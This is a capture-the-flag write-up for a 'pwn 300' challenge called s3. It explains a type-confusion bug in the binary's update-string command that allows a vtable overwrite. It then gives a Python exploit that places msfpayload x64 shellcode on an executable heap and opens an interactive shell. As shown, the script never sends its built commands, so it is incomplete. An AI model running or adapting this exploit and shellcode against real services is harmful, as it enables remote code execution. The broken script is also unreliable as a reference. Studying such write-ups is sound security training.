Skip to content Skip to navigation

s3 (pwn 300)


Task description gives us only service ip, port ( and 5333 respectively) and binary, named s3.

$ file s3
s3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe99ee53d6922baffcd3cecd9e6b333f7538d0633, stripped

 As we can see from welcome message it's string storage service:

Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3

Lets take a look at create string function. According to asm code, two string container types can be created:

  • container of type 0 is just normal C-like string representation, created on the heap by command "new".
  • container of type 1 is a class, which can be represented as structure struct_strContainerType1 (shown below). Vtable contains 3 functions. Also created on heap.

#pragma pack(push, 8)
struct struct_strContainerType1 {
  void* vtable;
  __int32 strLength;
  void* pStr;
#pragma pack(pop)

Created string container's address placed into structure:

#pragma pack(push, 8)
struct struct_strStorage {
  unsigned __int64 strId;    //pointer to string container
  __int32 strContainerType;  //container type (0 or 1)
  void* pStrContainer;       //pointer to string container
#pragma pack(pop)

It should be methioned one more time that strId is an address of string's container, e.i. address of created string if string type is 0 and address of class struct_strContainerType1 if string type is 1.

At the end of this fucntion structure struct_strStorage placed to the global vector.

In read string function we see that it searches for string with requested ID, checks it's container type and ...

...a very strange behavior if container type equal 1: function creates useless duplicate. But it's not a vulnerable bag(

Now lets take a look at update string function.First thing we can notice is an absence of string container type check..

This means that it interpretes string container of any type as string container of type 0 (e.i. as normal C-like string)! So we can override struct_strContainerType1.vtable by any data with two restrictions: it should have no 0x0a and 0x00 bytes.

Now we have found vulnerability, which allow us to run code from almost arbitrary address. The only thing we should recognize: where can we put our shellcode (libc's function system isn't imported). Fortunately heap is REW accessible:

$ cat /proc/16988/maps
00400000-00406000 r-xp 00000000 08:01 264539                             /home/user/s3
00605000-00606000 r-xp 00005000 08:01 264539                             /home/user/s3
00606000-00607000 rwxp 00006000 08:01 264539                             /home/user/s3
01926000-01947000 rwxp 00000000 00:00 0                                  [heap]

 So here is my exploit (code is ugly, but it works):

import re
import time
import socket
from struct import *

host = ""
port = 5333

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

def read_str(stId):
	sBuf = "r {0}".format(stId)
	return s.recv(2014)

def create_str(tp,st):
	sBuf = "c {0} {1}".format(tp,st)
	buf= s.recv(1024)
	return int(re.findall('\d+',buf)[0])

def update_str(stId,st):
	sBuf = "u {0} {1}".format(stId,st)
	buf = s.recv(1024)
	return int(re.findall('\d+',buf)[0])

def delete_str(stId):
	sBuf = "d {0}".format(stId)
	return s.recv(1024)

buf = s.recv(1024)

# msfpayload linux/x64/exec CMD="whoami; sh" R | msfencode -b \x00\x10 -e x64/xor -t python 
#[*] x64/xor succeeded with size 95 (iteration=1)
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x27\x32\xdc\x60\xca\x39\x2e"
buf += "\x23\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x4d\x09\x84\xf9\x82\x82\x01\x41\x4e\x5c\xf3\x13\xa2"
buf += "\x39\x7d\x6b\xae\xd5\xb4\x4d\xa9\x39\x2e\x6b\xae\xd4"
buf += "\x8e\x88\xc1\x39\x2e\x23\x50\x5a\xb3\x01\xa7\x50\x15"
buf += "\x03\x54\x5a\xdc\x36\x9d\x71\xa7\xc5\x28\x37\xdc\x60"
buf += "\xca\x39\x2e\x23"

#put shellcode to heap and get it's address
myCode = create_str(0,buf)
print('myCode = '+hex(myCode))

#create fake vtable
badBuf = 'A'*0x10+ pack("<Q",myCode)
pVtable = create_str(0,badBuf)
print('pVtable = '+hex(pVtable))

#create string container of type 1
pObj = create_str(1,'a'*0x20)
print('pObj = '+hex(pObj))

#update string container of type 1 and replace original vtable by fake vtable
badBuf = pack("<Q",pVtable)*8
myId3 = update_str(pObj,badBuf)
print('myId3 = '+hex(myId3))

#trigger vulnerability and try to run shellcode

# bash!
while True:
	s.send(raw_input('$ ')+'\n')


 Unfortunately I don't save flag anywhere... but I remember that it was at home/amazon/flag, belive me;)